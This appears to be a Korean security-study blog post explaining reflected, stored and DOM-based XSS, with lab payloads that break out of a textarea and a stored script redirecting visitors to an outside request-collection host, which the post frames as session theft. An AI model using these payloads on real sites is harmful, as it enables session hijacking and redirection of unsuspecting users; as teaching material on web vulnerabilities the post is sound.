1. XSS
1) 정의
- Cross Site Scripting의 약자로 게시판이나 웹 메일 등에 자바 스크립트와 같은 스크립트 코드를 삽입 해 개발자가 고려하지 않은 기능이 작동하게 하는 클라이언트를 대상으로 하는 공격이다.
2) XSS 종류
- Reflected XSS
- Stored XSS
- Dom Based XSS
2. Reflected XSS
1) Reflected XSS란?
- Reflected XSS 공격은 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생한다.
- 보통 Reflected XSS 는 공격자가 악의적인 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악의적인 스크립트가 실행되면서 공격이 실행된다
2) 공격 방법
- 공격 시 삽입 구문: <script>alert(“hi~~”);</script>
- 공격 후 구문: </textarea>john<script>alert(“hi~~”);</script>
- 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
- 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.


- 위 사진들과 같이 공격이 성공하게 되면 Reflected방식으로 공격하기 위해 해당 URL을 피해자에게 전달한다.
- 피해자가 해당 URL을 클릭하면 다음과 같이 알림창이 뜨면서 공격이 이루어진다.

2. Stored XSS
1) Stored XSS란?
- XSS 공격 종류 중 하나인 Stored XSS 는 지속적으로 피해를 입히는 XSS 공격입니다.
- 해커는 XSS 취약점이 있는 곳에 악성스크립트를 삽입한다. 삽입된 스크립트는 데이터베이스에 저장이 되고, 저장된 악성스크립트가 있는 게시글 등을 열람한 사용자들은 악성스크립트가 작동하면서 쿠키를 탈취당한다던가, 혹은 다른 사이트로 리다이렉션 되는 공격을 당하게 된다.
- 한번의 공격으로 악성스크립트를 삽입하여 수많은 피해를 입힐 수 있다.
2) 공격방법
- 이번에는 Stored XSS를 이용해 세션탈취를 해보겠다.
- 공격 시 삽입 구문: <script>document.location="https://ictmmbn.request.dreamhack.games"</script>
- 공격 후 구문: </textarea>john<script>document.location="https://ictmmbn.request.dreamhack.games"</script>
- 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
- 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.
- 위 공격으로 게시판에 글이 저장되면 피해자가 글을 클릭함과 동시에 위 스크립트가 실행되면 해당 서버로 세션값이 넘어가 저장된다.



3. Dom Based XSS
1) Dom Based XSS란?
- DOM Based XSS는 브라우저에서 DOM 객체에 접근해, 새로운 요소를 생성하거나 수정하는 과정에서 사용자 입력값으로 인해 결과적으로 악의적인 스크립트가 실행되는 것이다.
- Stored XSS 및 Reflected XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면 DOM Based XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.
2) 공격 방법
- 공격 시 삽입 구문: ?default=asdf
- 공격 후 구문: 127.0.0.1/dom.html?default=asdf
- Document.write 다음구문에 <OPTION value=1></OPTION>사이에 넣어 document객체를 수정한다.
- asdf라는 선택지는 실제로 없지만 공격 시 삽입 구문으로 공격을 수행하면 asdf라는 선택지가 생성된다


'Web Hacking' 카테고리의 다른 글
파일 업로드 취약점 (0) | 2023.01.04 |
---|---|
CSRF (0) | 2022.12.27 |
Blind SQLi (0) | 2022.12.05 |
Error Based SQLi (0) | 2022.12.05 |
UNION Based SQLi (0) | 2022.11.21 |